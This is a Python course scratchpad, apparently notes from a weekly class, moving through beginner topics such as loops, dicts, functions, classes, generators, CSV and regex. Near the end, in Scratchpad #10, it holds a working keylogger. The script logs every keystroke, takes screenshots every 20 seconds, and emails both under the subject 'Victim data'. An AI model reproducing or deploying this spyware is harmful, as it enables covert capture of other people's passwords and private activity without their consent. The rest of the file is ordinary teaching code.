Python Sunday 18-12-2022
Scratchpad #1
# # # some explanation
# # # ignored
# # print("Hello World")
# # print(100 + 5) # Some comment
# high_score = 10 # snake casing
# player_1_high_score = 20
# highScore = 10 # camel case
# HighScore = 10 # Pascal case
# # high-score = 10 # kebab case
# DAYS_IN_A_WEEK = 7
# GST_RATE = 18
# __high_score__ = 10
# score = 10
# score: int = 10
# score = True
# print(score)
Scratchpad #2
# # name = "John Doe"
# # # name.lower().find("john")
# # name.find("Doe").upper()
# # print("Please enter an amount in US dollars")
# # usd = float(input("Please enter an amount in US dollars: "))
# # inr = usd * 80
# # print(f"${usd} is Rs. {inr}")
# # name = input("Please enter your name: ")
# # if name == "john":
# # print("Hello John")
# # print("Hello World")
# # elif name == "jane":
# # print("Hello Jane")
# # elif name == "jack":
# # print("Hello jack")
# # else:
# # print("I don't know this name")
# # age = int(input("Please enter your age: "))
# # if age >= 18 and age < 21:
# # print("You can enter, but you cannot drink")
# # elif age >= 21 and age < 65:
# # print("You can enter and you can drink")
# # elif age >= 65:
# # print("Drinks are free")
# # else:
# # print("You aren't allowed")
# # logged_in_user = None
# # if logged_in_user:
# # print("Welcome")
# # else:
# # print("Please login to view content")
# # age = input("Please enter your age: ")
# # if age:
# # age = int(age)
# # if age >= 18 and age < 21:
# # print("You can enter, but you cannot drink")
# # elif age >= 21 and age < 65:
# # print("You can enter and you can drink")
# # elif age >= 65:
# # print("Drinks are free")
# # else:
# # print("You aren't allowed")
# # else:
# # print("Please type something")
player1 = input("Enter player 1's choice: ")
player2 = input("Enter player 2's choice: ")
if ((player1 == "rock" and player2 == "scissors")
or (player1 == "paper" and player2 == "rock")
or (player1 == "scissors" and player2 == "paper")):
print("Player 1 wins")
elif ((player2 == "rock" and player1 == "scissors")
or (player2 == "paper" and player1 == "rock")
or (player2 == "scissors" and player1 == "paper")):
print("Player 2 wins")
elif player1 == player2:
print("Tie")
else:
print("Something went wrong")
# for char in "hello world":
# print(char)
# for num in range(1, 999):
# print(num)
# for num in range(1, 10):
# print(num)
# for num in range(0, 11, 5):
# print(num)
# for num in range(10, 0, -2):
# print(num)
# for num in range(1, 21):
# if num == 5 or num == 16:
# print("FizzBuzz")
# elif num % 2 == 0:
# print(f"{num} - Fizz is Even")
# elif num % 2 != 0:
# print(f"{num} - Fizz is Odd")
# password = input("Please enter your password: ")
# while password != "hello":
# print("Incorrect password. Please try again.")
# password = input("Please enter your password: ")
# name = "John Doe"
# for char in name:
# print(char)
# count = 0
# while count < len(name):
# print(name[count])
# count += 1
password = input("Please enter your password: ")
while True:
if password == "hello":
break
print("Incorrect password. Please try again.")
password = input("Please enter your password: ")
Scratchpad #3
# nums = [1, 2, 3, 4]
# doubles = [num * 2 for num in nums] # [2, 4, 6, 8]
# # doubles = []
# # for num in nums:
# # doubles.append(num * 2)
# print(doubles)
# nums = [1, 2, 3, 4]
# # evens = [num for num in nums if num % 2 == 0]
# nums2 = [num * 2 if num % 2 == 0 else num / 2 for num in nums]
# print(nums2)
# l = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
# for item in l:
# for num in item:
# print(num)
# l = [[[1, 2, 3], [1, 2, 3, 4], [123, 2, 3], [123, 2, 3], [123, 2, 3]],
# [[1, 2, 3], [1, 2, 3], [1, 2, 3]], [[1, 2, 3], [1, 2, 3], [1, 2, 3]]]
# total
# even total
# negative list
# while loop
product = {
"price": 100000,
"brand": "Apple",
"in_stock": 500,
"description": "Some desc...",
"name": "iPhone",
}
# product = [0: "iPhone", 1: 100000, 2: "Apple", 3: 500, 4: "Some desc..."]
product = {
"description": "Some desc...",
"name": "iPhone",
"in_stock": 500,
"price": [
100000,
20000,
],
"brand": "Apple",
}
print(product["in_stock"])
# https://labs.rstforum.net/registration
Scratchpad #4
# # book = {
# # "name": "The theory of everything",
# # "author": "Stephen Hawking",
# # "pages": 140,
# # "language": "English",
# # "in_stock": True,
# # }
# # print(book["language"])
# # a = ["hello", "world", "universe", "galaxy"]
# # for num in a:
# # print(num)
# book = {
# "name": "The theory of everything",
# "author": "Stephen Hawking",
# "pages": 140,
# "language": "English",
# "in_stock": True,
# }
# # for item in book.values():
# # print(item)
# # for key in book.keys():
# # print(key, book[key])
# # for item in book.items():
# # print(item[0], item[1])
# for key, value in book.items():
# print(key, value)
# {num: num**3 for num in [1, 2, 3, 4, 5]}
# # {1: 1, 2: 8, 3: 27, 4: 64, 5: 125}
# str1 = "ABC"
# str2 = "123"
# combined = {str1[i]: str2[i] for i in range(0, len(str1))}
# # {'A': '1', 'B': '2', 'C': '3'}
# def say_hello():
# print("Hello")
# print("Hello")
# print("Hello")
# print("Hello")
# say_hello()
import random
def flip_coin():
result = random.random()
if result > 0.5:
return "Heads"
else:
return "Tails"
flip_coin()
# result = type([1, 2, 3])
# print(result)
# first_name = "John"
# print(first_name.upper())
Scratchpad #5
# # def greet():
# # return "Hello World"
# # result = greet()
# # print(result)
# # def add(a, b):
# # return a + b
# # print(add(10, 5, 213))
# # def profile(first_name, last_name, age):
# # print(first_name)
# # profile()
# # def sum_odd_numbers(numbers):
# # total = 0
# # for num in numbers:
# # if num % 2 != 0:
# # total += num
# # return total
# # print(sum_odd_numbers([1, 2, 3, 4, 5]))
# # def is_odd_number(number):
# # if number % 2 != 0:
# # return True
# # return False
# # print(is_odd_number(3))
# # def multiply(a=1, b=1):
# # return a * b
# # print(multiply(10, 2))
# # def add(a, b):
# # return a + b
# # hello = add
# # print(hello(10, 5))
# # hello = add
# # print(add(10, 5))
# # def add(a, b):
# # return a + b
# # def sub(a, b):
# # return a - b
# # def math(a=1, b=1, fn=add):
# # return fn(a, b)
# # print(math(10, 5, sub))
# # def add(a=1, b=1):
# # return a + b
# # add(10)
# # def full_name(first_name="test", last_name="name"):
# # print(f"My name is {first_name} {last_name}")
# # # full_name("Doe", "John")
# # full_name(last_name="Doe", first_name="John")
# # full_name = "john doe"
# # def greet():
# # full_name = "Jane smith"
# # print(full_name)
# # greet()
# # print(full_name)
# total = 0
# print("Current", total)
# def func():
# global total
# total += 10
# print(total)
# func()
# print("Final", total)
# def outer():
# count = 0
# def inner():
# nonlocal count
# count += 10
# print(count)
# inner()
# outer()
# total = 0
# def func():
# global total
# total += 10
# func()
# print(total)
# def func2(val):
# return val + 10
# total = func2(total)
# print(total)
# def add(a, b):
# """Adds two numbers and returns the result"""
# return a + b
# print(add(10, 5))
# print(add.__doc__)
# print([].extend.__doc__)
# reverse_str("hello") # olleh
# capitalize_str("hello my name is john") # Hello My Name Is John
# count("hello i am john") # 12
# find_negatives(111,2,3,-23,-6,12,4,-113) # [-23,-6,-113] (*nums)
# make_positives(111,2,3,-23,-6,12,4,-113) # [111,2,3,23,6,12,4,113]
# def add(first, *nums):
# total = 0
# for num in nums:
# total += num
# return total
# print(add(
# 10,
# 5,
# 12,
# 34,
# 12,
# 4,
# 56,
# ))
# def profile(nick_name, **values):
# print(nick_name, values)
# profile(nick_name="J",
# first_name="John",
# last_name="Doe",
# age=20,
# profession="developer")
# def show_info(a, b, *args, role="moderator", **kwargs):
# return [a, b, args, role, kwargs]
# print(
# show_info(10,
# 15,
# 20,
# 21,
# 22,
# 23,
# role="admin",
# first_name="john",
# last_name="doe"))
# def add(*nums):
# total = 0
# for num in nums:
# total += num
# return total
# values = [12, 234, 45, 3, 2, 33, 56, 2, 323]
# print(add(*values))
# def say_name(first, last):
# print(f"My name is {first} {last}.")
# # say_name(first="jane", last="doe")
# name = {"first": "Robert", "last": "Moore"}
# say_name(**name)
# def add(a, b):
# return a + b
# add2 = lambda a, b: a + b
# print(add2(10, 5))
# def add(a, b):
# return a + b
# def sub(a, b):
# return a - b
# def mul(a, b):
# return a * b
def math(a, b, fn):
return fn(a, b)
# print(math(10, 5, mul))
print(math(10, 5, lambda a, b: a / b))
Scratchpad #6
# # # nums = [1, 2, 3, 4, 5, 6, 7, 8]
# # # doubles = [num * 2 for num in nums]
# # # def doubleNum(x):
# # # return x * 2
# # # doubles = map(doubleNum, nums)
# # # doubles = map(lambda x: x * 2, nums)
# # # print(list(doubles))
# # # nums = [1, 2, 3, 4, 5, 6, 7, 8]
# # # # evens = [num for num in nums if num % 2 == 0]
# # # evens = filter(lambda num: num % 2 == 0, nums)
# # # print(list(evens))
# # names = ['John', 'Jack', 'James', 'Desmond', 'Charlie', 'Jacob']
# # # results = filter(lambda name: len(name) < 5, names)
# # # modified = map(lambda name: f"The one who wins is {name}", results)
# # # # print(list(modified))
# # print(
# # list(
# # map(lambda name: f"The one who wins is {name}",
# # filter(lambda name: len(name) < 5, names))))
# # -------------------------------------------------------------
# import random
# SUIT_TUPLE = ("Spades", "Hearts", "Clubs", "Diamonds")
# RANK_TUPLE = ("Ace", "2", "3", "4", "5", "6", "7", "8", "9", "10", "Jack",
# "Queen", "King")
# NCARD = 8
# def get_card(deck_list_in):
# this_card = deck_list_in.pop()
# return this_card
# def shuffle(deck_list_in):
# deck_list_out = deck_list_in.copy()
# random.shuffle(deck_list_out)
# return deck_list_out
# print("Welcome to higher or lower.")
# print(
# "You have to choose whether the next card to be shown will be higher or lower than the current card"
# )
# print(
# "Getting it right add 20 points; get it wrong and you will lose 15 points."
# )
# print("You have 50 points to start.")
# print()
# starting_deck_list = []
# for suit in SUIT_TUPLE:
# for this_value, rank in enumerate(RANK_TUPLE):
# card_dict = {"rank": rank, "suit": suit, "value": this_value + 1}
# starting_deck_list.append(card_dict)
# score = 50
# while True:
# print()
# game_deck_list = shuffle(starting_deck_list)
# current_card_dict = get_card(game_deck_list)
# current_card_rank = current_card_dict["rank"]
# current_card_value = current_card_dict["value"]
# current_card_suit = current_card_dict["suit"]
# print(f"Starting card is {current_card_rank} of {current_card_suit}")
# print()
# for card_number in range(0, NCARD):
# answer = input(
# f"Will the next card be higher or lower than the {current_card_rank} of {current_card_suit}? (enter h or l): "
# )
# answer = answer.casefold()
# next_card_dict = get_card(game_deck_list)
# next_card_rank = next_card_dict["rank"]
# next_card_value = next_card_dict["value"]
# next_card_suit = next_card_dict["suit"]
# print(f"Next card is {next_card_rank} of {next_card_suit}")
# if answer == 'h':
# if next_card_value > current_card_value:
# print("You got it right, it was higher")
# score += 20
# else:
# print("Sorry, it was not higher")
# score -= 15
# elif answer == 'l':
# if next_card_value < current_card_value:
# print("You got it right, it was lower")
# score += 20
# else:
# print("Sorry, it was not lower")
# score -= 15
# print(f"Your score is: {score}")
# print()
# current_card_rank = next_card_rank
# current_card_value = next_card_value
# current_card_suit = next_card_suit
# go_again = input("To play again, press ENTER, or 'q' to quit: ")
# if go_again == 'q':
# break
# print("Thanks for playing. Good bye. ")
def printText(text, color):
colors = ('red', 'yellow', 'green', 'blue', 'white')
if type(text) is not str:
raise TypeError('text should be a str')
elif type(color) is not str:
raise TypeError('color should a str')
elif color not in colors:
raise ValueError("This color is not supported")
print(text)
try:
printText('hello world', 'lkasdmd')
except (
ValueError,
TypeError,
) as err:
print("Something went wrong", err)
try:
printText('hello world', 'lkasdmd')
except Exception as err:
print("Something went wrong", err)
Scratchpad #7
def create_user(first_name, last_name, age, email, password, phone_no):
return {
"first_name": first_name,
"last_name": last_name,
"age": age,
"email": email,
"password": password,
"phone_no": phone_no
}
def user_login(user, email, password):
if email == user["email"] and password == user["password"]:
return True
else:
raise ValueError("Incorrect username or password")
def user_logout(user):
print(f"{user['email']} has logged out successfully")
return True
def edit_user_email(user, new_email):
return {**user, "email": new_email}
# john = create_user("John", "Doe", 20, "johndoe@gmail.com", "test123",
# "+91 9876654321")
# # print(user_login(john, "johndoe@gmail.com", "test123"))
# # user_logout(john)
# print(john)
# john = edit_user_email(john, "john.doe@outlook.com")
# print(john)
def user(first_name, last_name, age, email, password, phone_no):
user = {
"first_name": first_name,
"last_name": last_name,
"age": age,
"email": email,
"password": password,
"phone_no": phone_no
}
def login(password):
if password == user["password"]:
return True
else:
raise ValueError("Incorrect username or password")
def logout():
print(f"{user['email']} has logged out successfully")
return True
return {**user, "login": login, "logout": logout}
john = user("John", "Doe", 20, "john@gmail.com", "test123", "+91 9876654321")
jane = user("Jane", "Smith", 23, "jane@gmail.com", "test123", "+91 9765543219")
# print(john)
# print(jane["age"])
# # print(john["last_name"])
# print(john["login"]("test123"))
# # print(john)
class User:
def __init__(self, first_name, last_name, age, email, password, phone_no):
self.first_name = first_name
self.last_name = last_name
self.age = age
self.email = email
self.password = password
self.phone_no = phone_no
self._balance = 0
def get_balance(self):
print(f"Your current balance is {self._balance}")
return self._balance
def deposit(self, amount):
self._balance = self._balance + amount
print(
f"Rs. {amount} was added to your account. New balance: {self._balance}"
)
john1 = User("John", "Doe", 20, "john@gmail.com", "test123", "+91 9876654321")
jane1 = User("Jane", "Smith", 23, "jane@gmail.com", "test123",
"+91 9765543219")
# print(john["age"])
# print()
# print(john1._balance)
# john1._balance = 1000
# john1.email = "helloworld@gmail.com"
# print(john1._balance)
# print(john1.email)
# print(type(john))
# print(type(john1))
john1.deposit(10000)
john1.get_balance()
Scratchpad #8
# # # # class User: # base/parent class
# # # # total_users = 0
# # # # def __init__(self, first_name, last_name, age):
# # # # self.first_name = first_name
# # # # self.last_name = last_name
# # # # self._age = age
# # # # User.total_users += 1
# # # # def __repr__(self):
# # # # return f"First name: {self.first_name}\nLast Name: {self.last_name}"
# # # # @classmethod
# # # # def get_total_users(cls):
# # # # return cls.total_users
# # # # @property
# # # # def age(self):
# # # # print("Some logic")
# # # # return self._age
# # # # @age.setter
# # # # def age(self, new_age):
# # # # if type(new_age) != int:
# # # # raise TypeError("Age has to be a number")
# # # # if new_age < 18 or new_age > 100:
# # # # raise ValueError('Please enter a valid age')
# # # # self._age = new_age
# # # # return self._age
# # # # def get_age(self):
# # # # print("Some logic")
# # # # return self._age
# # # # def set_age(self, new_age):
# # # # if type(new_age) != int:
# # # # raise TypeError("Age has to be a number")
# # # # if new_age < 18 or new_age > 100:
# # # # raise ValueError('Please enter a valid age')
# # # # self._age = new_age
# # # # return self._age
# # # # # user1 = User("Jane", "Doe", 20)
# # # # # user1.age = 67
# # # # # print(user1.age)
# # # # # # user2 = User("John", "Smith", 25)
# # # # # # print(user1)
# # # # # # print(user2)
# # # # # # user1._age = 305
# # # # # # user1.set_age(45)
# # # # # # print(user1.get_age())
# # # # # # print(user1.total_users)
# # # # # # print(user2.total_users)
# # # # # # print(User.total_users)
# # # # # # user3 = User("Jack", "Smith", 34)
# # # # # # # print(User.total_users)
# # # # # # print(User.get_total_users())
# # # # class Admin(User): # sub/child class
# # # # def __init__(self, first_name, last_name, age, phone, email):
# # # # super().__init__(first_name, last_name, age)
# # # # self.phone = phone
# # # # self.email = email
# # # # def __repr__(self):
# # # # return self.first_name
# # # # def create_group(self, group_name):
# # # # print(f"{group_name} was created")
# # # # user1 = User("Jane", "Doe", 20)
# # # # user2 = Admin("John", "Smith", 25, 123456, "admin@example.com")
# # # # print(user2.email)
# # # # # # print(user1.create_group("Python"))
# # # # # # print(user2.create_group("Python"))
# # # # class Human:
# # # # def __init__(self, name, age):
# # # # self.name = name
# # # # self.age = age
# # # # def greet(self):
# # # # print("Hello World")
# # # # class Animal:
# # # # def __init__(self, name, age):
# # # # self.name = name
# # # # self.age = age
# # # # def greet(self):
# # # # print("asdasdasdasdasdfsdf")
# # # # class Mutant(Human, Animal):
# # # # pass
# # # # u1 = Human("John", 20)
# # # # u2 = Animal("Tom", 5)
# # # # u3 = Mutant("Jack", 30)
# # # # # u1.greet()
# # # # # u2.greet()
# # # # u3.greet()
# # # class User: # base/parent class
# # # total_users = 0
# # # def __init__(self, first_name, last_name, age):
# # # self.first_name = first_name
# # # self.last_name = last_name
# # # self._age = age
# # # User.total_users += 1
# # # # def __repr__(self):
# # # # return f"First name: {self.first_name}\nLast Name: {self.last_name}"
# # # def __len__(self):
# # # return self._age
# # # def __add__(self, user):
# # # return User("new", "user", 0)
# # # @classmethod
# # # def get_total_users(cls):
# # # return cls.total_users
# # # @property
# # # def age(self):
# # # print("Some logic")
# # # return self._age
# # # @age.setter
# # # def age(self, new_age):
# # # if type(new_age) != int:
# # # raise TypeError("Age has to be a number")
# # # if new_age < 18 or new_age > 100:
# # # raise ValueError('Please enter a valid age')
# # # self._age = new_age
# # # return self._age
# # # def create_group(self, group_name):
# # # print(f"{group_name} was created")
# # # class Admin(User): # sub/child class
# # # def __init__(self, first_name, last_name, age, phone, email):
# # # super().__init__(first_name, last_name, age)
# # # self.phone = phone
# # # self.email = email
# # # def __repr__(self):
# # # return self.first_name
# # # def create_group(self, group_name):
# # # print(f"{group_name}")
# # # # print("hello" + "world")
# # # user1 = User("Jane", "Doe", 20)
# # # user2 = Admin("John", "Smith", 25, 123456, "admin@example.com")
# # # # user1.create_group("hello world")
# # # # user2.create_group("hello world")
# # # print(user1 + user2)
# # # a = [1, 2, 3, 4, 5]
# # # for num = next(ia) in ia = iter(a):
# # # try:
# # # print(num)
# # # except StopIteration:
# # # break
# # # def myfor(iterable):
# # # iterator = iter(iterable)
# # # while True:
# # # try:
# # # print(next(iterator))
# # # except StopIteration:
# # # break
# # # myfor([1, 2, 3, 43, 45])
# # # vals = map(lambda num: print(num), range(10))
# # # print(list(vals))
# # def myfor(func, iterable):
# # iterator = iter(iterable)
# # while True:
# # try:
# # func(next(iterator))
# # except StopIteration:
# # break
# # myfor(lambda num: print(num), range(10))
# # class Counter:
# # def __init__(self, start, end, step=1):
# # self.start = start
# # self.end = end
# # self.step = step
# # def __iter__(self):
# # return self
# # def __next__(self):
# # if self.start < self.end:
# # num = self.start
# # self.start += self.step
# # return num
# # else:
# # raise StopIteration
# # r = range(0, 100)
# # c = Counter(0, 100, 10)
# # # for num in r:
# # # print(num)
# # # for num = next(c) in c = iter(c):
# # # print(num)
# # for num in c:
# # print(num)
# def count_up_to(start, end, step=1):
# count = start
# while count <= end:
# yield count
# count += step
# result = count_up_to(10, 50)
# print(next(result))
# print(next(result))
# print(next(result))
# print(next(result))
# print(next(result))
# # for num in result:
# # print(num)
def fib_list(max):
nums = []
a, b = 0, 1
while len(nums) < max:
nums.append(b)
a, b = b, a + b
return nums
def fib_gen(max):
a, b = 0, 1
count = 0
while count < max:
a, b = b, a + b
yield a
count += 1
for num in fib_gen(10000000000000000):
print(num)
# print(fib_list(10000000000000000))
# print(fib_gen(10000000000000000))
Scratchpad #9
# # def math(a, b, fn):
# # return fn(a, b)
# # print(math(10, 5, lambda a, b: a + b))
# # def sum(n, func):
# # total = 0
# # for num in range(1, n + 1):
# # total += func(num)
# # return total
# # print(sum(10, lambda n: n**2))
# import random
# # def greet(person):
# # def get_mood():
# # mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"]
# # msg = random.choice(mood)
# # return msg
# # result = f"{get_mood()} {person}"
# # return result
# # print(greet("John"))
# # def make_greet_func(person):
# # def make_message():
# # msg = random.choice(
# # ["Hello", "What!", "What the heck do you want!", "Get lost!"])
# # return f"{msg} {person}"
# # return make_message
# # hello = make_greet_func("John")
# # hello_jane = make_greet_func("Jane")
# # print(hello_jane())
# # def stars(fn):
# # def wrapper():
# # print("*" * 10)
# # fn()
# # print("*" * 10)
# # return wrapper
# # @stars # say_hello = stars(say_hello)
# # def say_hello():
# # print("Hello World")
# # # say_hello = stars(say_hello)
# # say_hello()
# # from functools import wraps
# # def make_upper_case(fn):
# # """Decorator function that uppercases the target functions's return string"""
# # @wraps(fn) # wrapper = wraps(wrapper)
# # def wrapper(*args, **kwargs):
# # """Wrapper function"""
# # return fn(*args, **kwargs).upper()
# # return wrapper
# # @make_upper_case # say_hello = wrapper
# # def say_hello(person):
# # """Function that accepts a person's name and greets them"""
# # return f"Hello {person}"
# # # print(say_hello("John"))
# # print(say_hello.__name__)
# # print(say_hello.__doc__)
# # def ensure_first_arg_is(val):
# # def inner(fn):
# # def wrapper(*args, **kwargs):
# # if args and args[0] != val:
# # raise ValueError(f"First arg needs to be {val}")
# # else:
# # return fn(*args, **kwargs)
# # return wrapper
# # return inner
# # # top_users = ensure_first_arg_is('jane')(top_users)
# # @ensure_first_arg_is('jane')
# # def top_users(*names):
# # print(names)
# # top_users("jane", "jack", "john", "james")
# def enforce(*types):
# def inner(fn):
# def wrapper(*args, **kwargs):
# new_args = [] # ["1000", 10]
# for a, t in zip(args, types): # [(1000, str), ("10", int)]
# try:
# new_args.append(t(a))
# except:
# print("Something went wrong")
# return "Something went wrong"
# return fn(*new_args)
# return wrapper
# return inner
# @enforce(str, int)
# def announce(msg, times):
# print((msg + "\n") * times)
# announce("hello world", 20)
# announce(1000, "10")
# str_reverse("hello") # "olleh"
# def str_reverse(val):
# return
# Bank
# attributes: name, intials, address, phone: [strings], IFSC, branch, MICR, customers [Customer Objects]
# methods: update_name(), update....,
# add_customer(first_name, middle_name, last_name, address, phone, aadhar_no, pan_no, balance) -> Customer
# customer = Customer(first_name, middle_name, last_name, address, phone, aadhar_no, pan_no, balance)
# self.customers.append(customer)
# return customer
# remove_customer(acc_no)
# Customer
# attributes: first_name, middle_name, last_name, address, phone, aadhar_no, pan_no, balance=0, account_no
# methods: update_details(), deposit(1000), withdraw(100)
# sbi = Bank("State bank of India", "SBI", "...", ["...", "..."], "12312", "Dadar", "1234234")
# sbi.add_customer(first_name, middle_name, last_name, address, phone, aadhar_no, pan_no, balance)
# john = Customer() XXXXXXXXXXXXXX
# import random
# def gen_account_no(length=10):
# alpha_num = "ABCEFGHIJKLMNOPQRSTUVWXYZ1234567890"
# acc_no = ""
# for num in range(length):
# acc_no += random.choice(alpha_num)
# return acc_no
# print(gen_account_no())
# class Bank:
# def __init__(self, name, intials, address, phone, IFSC, branch, MICR):
# self.name = name
# # ...
# self.customers = []
# def add_customer(self, first_name, middle_name, last_name, address, phone,
# aadhar_no, pan_no, account_no):
# print("I REACHED HERE 1")
# acc_no = gen_account_no(9)
# new_customer = Customer(first_name, middle_name, last_name, address,
# phone, aadhar_no, pan_no, acc_no)
# self.customers.append(new_customer)
# return new_customer
# sbi
# john = sbi.add_customer()
# john.deposit(10000)
from csv import reader
# file = open("hello.csv")
# csv_reader = reader(file)
# print(list(csv_reader))
def reader(file):
data = file.read()
data = [row.split(',') for row in data.split("\n")]
print(data)
f = open("hello.csv")
reader(f)
# ================================
# ==== =========================
Scratchpad #10
# # # from csv import reader, DictReader, writer, DictWriter
# # # with open("hello.csv") as file:
# # # csv_reader = reader(file)
# # # print(list(csv_reader))
# # # with open("hello.csv") as file:
# # # csv_reader = DictReader(file)
# # # print(list(csv_reader))
# # # with open("pokemon.csv", "w", newline="") as file:
# # # csv_writer = writer(file)
# # # csv_writer.writerow(["Name", "Ability", "Points"])
# # # csv_writer.writerow(["Pikachu", "Shock", "10"])
# # # csv_writer.writerow(["Raichu", "Shock", "20"])
# # # with open("pokemon.csv", "w", newline="") as file:
# # # headers = ["Name", "Ability", "Points"]
# # # csv_writer = DictWriter(file, fieldnames=headers)
# # # csv_writer.writeheader()
# # # csv_writer.writerow({"Name": "Pikachu", "Ability": "Shock", "Points": 20})
# # # csv_writer.writerow({"Name": "Pikachu", "Ability": "Shock", "Points": 20})
# # # csv_writer.writerow({"Name": "Pikachu", "Ability": "Shock", "Points": 20})
# # # import pickle
# # # import json
# # # import jsonpickle
# # # class User:
# # # def __init__(self, first_name, last_name, age):
# # # self.first_name = first_name
# # # self.last_name = last_name
# # # self.age = age
# # # def greet(self):
# # # print(
# # # f"Hello my name is {self.first_name} {self.last_name} and I am {self.age} years old."
# # # )
# # # def __repr__(self):
# # # return self.first_name
# # # user1 = User("Jane", "Doe", 20)
# # # user1.greet()
# # # with open("users.pickle", "wb") as file:
# # # pickle.dump(user1, file)
# # # with open("users.pickle", "rb") as file:
# # # data = pickle.load(file)
# # # data.greet()
# # # user1 = User("Jane", "Doe", 20)
# # # user2 = User("John", "Smith", 30)
# # # # print(json.dumps(user1.__dict__))
# # # with open("users.json", "w") as file:
# # # stored = jsonpickle.encode((user1, user2))
# # # file.write(stored)
# # # with open("users.json") as file:
# # # contents = file.read()
# # # restored_data = jsonpickle.decode(contents)
# # # print(restored_data)
# # import re
# # # pattern = re.compile(r"\d{3}\s?\d{4}\s?\d{4}")
# # # # result = pattern.search("Call us today at 022 23456789 or 022 2345 9876")
# # # # print(result.group())
# # # result = pattern.findall("Call us today at 022 23456789 or 022 2345 9876")
# # # print(result)
# # def is_valid_phone(phone):
# # # phone_regex = re.compile(r"^\d{3}\s?\d{4}\s?\d{4}$")
# # phone_regex = re.compile(r"\d{3}\s?\d{4}\s?\d{4}")
# # match = phone_regex.fullmatch(phone)
# # if match:
# # return True
# # return False
# # print(is_valid_phone("02223456789"))
# # #
# from datetime import datetime
# import threading
# import multiprocessing
# def dummy_func(x):
# print(f"Job-{x} started: {datetime.now()}")
# a = []
# for i in range(30000):
# for j in range(2000):
# a.append([i, j])
# a.clear()
# print(f"Job-{x} ended: {datetime.now()}")
# # start_time = datetime.now()
# # dummy_func(1)
# # dummy_func(2)
# # dummy_func(3)
# # dummy_func(4)
# # print(f"Total time taken: {datetime.now() - start_time}")
# if __name__ == "__main__":
# # t1 = threading.Thread(target=dummy_func, args=(1, ))
# # t2 = threading.Thread(target=dummy_func, args=(2, ))
# # t3 = threading.Thread(target=dummy_func, args=(3, ))
# # t4 = threading.Thread(target=dummy_func, args=(4, ))
# # start_time = datetime.now()
# # t1.start()
# # t2.start()
# # t3.start()
# # t4.start()
# # t1.join()
# # t2.join()
# # t3.join()
# # t4.join()
# # print(f"Total time taken: {datetime.now() - start_time}")
# p1 = multiprocessing.Process(target=dummy_func, args=(1, ))
# p2 = multiprocessing.Process(target=dummy_func, args=(2, ))
# p3 = multiprocessing.Process(target=dummy_func, args=(3, ))
# p4 = multiprocessing.Process(target=dummy_func, args=(4, ))
# start_time = datetime.now()
# p1.start()
# p2.start()
# p3.start()
# p4.start()
# p1.join()
# p2.join()
# p3.join()
# p4.join()
# print(f"Total time taken: {datetime.now() - start_time}")
import pyautogui
from pynput.keyboard import Key, Listener
from time import sleep
from datetime import datetime
import yagmail
count = 0
keys = []
try:
def on_press(key):
global keys, count
keys.append(key)
count += 1
if count >= 10:
write_file(keys)
keys = []
def write_file(keys):
with open("log.txt", "a") as f:
for key in keys:
k = str(key).replace("'", "")
if k.find("space") > 0:
f.write(" ")
elif k.find("cap_lock") > 0:
f.write("<CAP_LOCK>")
elif k.find("enter") > 0:
f.write("\n")
elif k.find("Key") == -1:
f.write(k)
def on_release(key):
if key == Key.esc:
return False
def take_screenshot():
screen = pyautogui.screenshot()
screen.save("screenshot.png")
def send_email():
receiver_email = ""
subject = f"Victim data - {datetime.now().strftime('%d-%m-%Y %H:%M:%S')}"
yag = yagmail.SMTP("", "")
contents = [
"<b><font color='red' size='10'>YOUR VICTIM DATA</font></b>"
]
attachments = ["log.txt", "screenshot.png"]
yag.send(receiver_email, subject, contents, attachments)
print("Email sent")
with Listener(on_press=on_press, on_release=on_release) as listener:
while True:
sleep(20)
take_screenshot()
send_email()
listener.join()
except KeyboardInterrupt:
print("Program closed")
Scratchpad #11
# import paramiko
# HOST = ''
# USER = ''
# PASSWORD = ''
# ssh = paramiko.SSHClient()
# ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# ssh.connect(HOST, username=USER, password=PASSWORD)
# stdin, stdout, stderr = ssh.exec_command("sudo apt-get update")
# print(stdout.read().decode())
# stdin, stdout, stderr = ssh.exec_command("sudo apt-get install -y apache2")
# print(stdout.read().decode())
# html = "<html><body><h1>Hello World from Python!</h1></body></html>"
# stdin, stdout, stderr = ssh.exec_command(
# f"echo '{html}' | sudo tee /var/www/html/index.html")
# print(stdout.read().decode())
# stdin, stdout, stderr = ssh.exec_command("sudo service apache2 start")
# print(stdout.read().decode())
# ssh.close()
# -------------------------------------------------------------------------
# from ncclient import manager
# HOST = ''
# USER = ''
# PASSWORD = ''
# with manager.connect(host=HOST,
# username=USER,
# password=PASSWORD,
# hostkey_verify=False) as m:
# commands = [
# 'set interfaces ge-0/0/0 unit 0 family inet address 192.0.2.1/24',
# 'set routing-options static route 0.0.0.0/0 next-hop 192.0.2.254'
# ]
# for command in commands:
# m.edit_config(target="candidate", config=command)
# m.commit()
# print("Successfully sent configuirations to the router.")
# -------------------------------------------------------------------------
# import os
# import time
# import pyautogui
# filename = "example.txt"
# content = "This is some dummy text. Hello World!"
# pyautogui.press('winleft')
# pyautogui.write('notepad')
# pyautogui.press('enter')
# time.sleep(1)
# pyautogui.write(content)
# pyautogui.hotkey('ctrl', 's')
# time.sleep(1)
# pyautogui.write(os.path.join(os.path.expanduser("~"), "Downloads", filename))
# pyautogui.press('enter')
# time.sleep(1)
# print(f"Successfully created file {filename} in the Downloads folder")
# # -------------------------------------------------------------------------
# from pytube import YouTube
# video_url = input("Enter the YouTube video URL: ")
# YouTube(
# 'https://www.youtube.com/watch?v=qEVUtrk8_B4').streams.first().download()
# # yt = YouTube(video_url)
# # stream = yt.streams
# # stream.download()
# # print(f"Successfully downloaded video {yt.title} to the current directory")
# -------------------------------------------------------------------------
# from selenium import webdriver
# from selenium.webdriver.common.keys import Keys
# from selenium.webdriver.common.by import By
# from time import sleep
# browser = webdriver.Chrome("chromedriver.exe")
# browser.maximize_window()
# browser.get("https://www.youtube.com/")
# sleep(3)
# search_box = browser.find_element(
# By.XPATH,
# "/html/body/ytd-app/div[1]/div/ytd-masthead/div[4]/div[2]/ytd-searchbox/form/div[1]/div[1]/input"
# )
# search_box.click()
# search_box.send_keys("john wick 4 trailer", Keys.ENTER)
# sleep(3)
# # video = browser.find_element(
# # By.XPATH,
